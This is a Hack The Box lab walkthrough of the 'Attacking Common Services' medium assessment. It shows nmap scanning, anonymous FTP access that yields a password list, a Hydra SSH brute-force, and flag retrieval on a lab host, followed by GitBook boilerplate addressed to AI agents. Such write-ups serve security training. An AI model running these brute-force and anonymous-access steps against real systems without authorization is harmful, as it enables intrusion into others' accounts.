> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-2.md).
# Attacking Common Services (task 2)
## Skill Assessment (Medium) Walkthrough
> **HTB Module:** Attacking Common Services **Difficulty:** Medium **Goal:** Find the flag (`HTB{...}`) on the target server **Target:** inlanefreight.htb
>
>  
***
### π Scenario
The second server is an **internal server** within the `inlanefreight.htb` domain that manages and stores **emails and files**, and serves as a backup for some of the company's processes. We heard it's used rarely and mostly for testing β sounds like it might be misconfigured. π
### π― Target
```
IP β 10.129.160.241
Domain β inlanefreight.htb
```
### πΊοΈ Attack Chain
```
Nmap β FTP anonymous login (port 30021)
β simon's directory β mynotes.txt (password list)
β Hydra SSH brute-force β SSH as simon β flag.txt π΄
```
***
***
## Step 1 β Add Target to /etc/hosts
```bash
echo "10.129.160.241 inlanefreight.htb" >> /etc/hosts
```
***
## Step 2 β Nmap Scan (Quick)
Fast full port scan first to see what's open:
```bash
sudo nmap -p- --min-rate 5000 -T4 10.129.160.241
```
Interesting ports:
| Port | Service |
| --------- | ------------- |
| 22/tcp | SSH |
| 53/tcp | DNS (domain) |
| 110/tcp | POP3 |
| 995/tcp | POP3S |
| 2121/tcp | ccproxy-ftp |
| 30021/tcp | unknown (FTP) |
> πΈ **Image 1** β Nmap quick scan showing all open ports including non-standard FTP on 2121 and 30021
***
## Step 3 β Nmap Service Scan (Detailed)
Now let's hit those ports with version detection and scripts:
```bash
sudo nmap -p22,53,110,995,2121,30021 -sC -sV 10.129.160.241
```
Key findings:
| Port | Service / Version | Notes |
| --------- | ----------------------------- | ------------------------------- |
| 22/tcp | OpenSSH 8.2p1 (Ubuntu) | SSH target |
| 53/tcp | ISC BIND 9.16.1 (Ubuntu) | DNS |
| 110/tcp | Dovecot pop3d | POP3 mail |
| 995/tcp | Dovecot pop3d (SSL) | POP3S mail |
| 2121/tcp | ProFTPD Server (InlaneFTP) | No anonymous login |
| 30021/tcp | ProFTPD Server (Internal FTP) | **Anonymous login allowed!** π― |
The nmap scripts also reveal a directory named `simon` on the FTP anonymous share.
> πΈ **Image 2** β Nmap service scan showing OpenSSH, BIND DNS, Dovecot POP3/POP3S, ProFTPD details
> πΈ **Image 3** β Nmap showing two ProFTPD instances: port 2121 (InlaneFTP, no anon) and port 30021 (Internal FTP, **anonymous login allowed**, `simon` directory visible)
***
## Step 4 β FTP Anonymous Login (Port 30021)
Let's hop in as anonymous and see what simon has:
```bash
ftp 10.129.160.241 30021
# Username: anonymous
# Password: (blank / any email)
```
```
ftp> ls
drwxr-xr-x 2 ftp ftp 4096 Apr 18 2022 simon
ftp> cd simon
ftp> ls
-rw-rw-r-- 1 ftp ftp 153 Apr 18 2022 mynotes.txt
ftp> get mynotes.txt
```
Downloaded `mynotes.txt` β it contains random strings that look like potential passwords. π°
> πΈ **Image 4** β FTP anonymous login on port 30021, navigating to `simon` directory, downloading `mynotes.txt`
***
## Step 5 β SSH Brute-Force with Hydra
We've got a username (`simon`) and a password list (`mynotes.txt`). Let's spray them against SSH:
```bash
hydra -I -l simon -P mynotes.txt -f 10.129.160.241 ssh
```
**Hit!** π―
```
[22][ssh] host: 10.129.160.241 login: simon password:
```
1 valid password found!
> πΈ **Image 5** β Hydra SSH brute-force using `mynotes.txt` as password list, finding valid creds for `simon`
***
## Step 6 β SSH Login & Flag
SSH in with the creds:
```bash
ssh simon@10.129.160.241
```
We're in! Quick recon:
```bash
whoami
# simon
hostname
# lin-medium
ls
# flag.txt Maildir
cat flag.txt
# HTB{...}
```
Flag is right in simon's home directory. π΄
> πΈ **Image 6** β SSH session as `simon` on `lin-medium`, listing home directory showing `flag.txt` and `Maildir`, reading the flag
***
## π Pwned!
Anonymous FTP access led to a password list β SSH brute-force β flag captured. Classic misconfiguration chain.
#### Tools Used
| Tool | Purpose |
| ------- | ------------------------------------ |
| `nmap` | Port scanning & service detection |
| `ftp` | Anonymous FTP login & file retrieval |
| `hydra` | SSH brute-force with custom wordlist |
| `ssh` | Shell access |
***
> **GG π΄** β Anonymous FTP β password list β SSH brute β flag.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-2.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
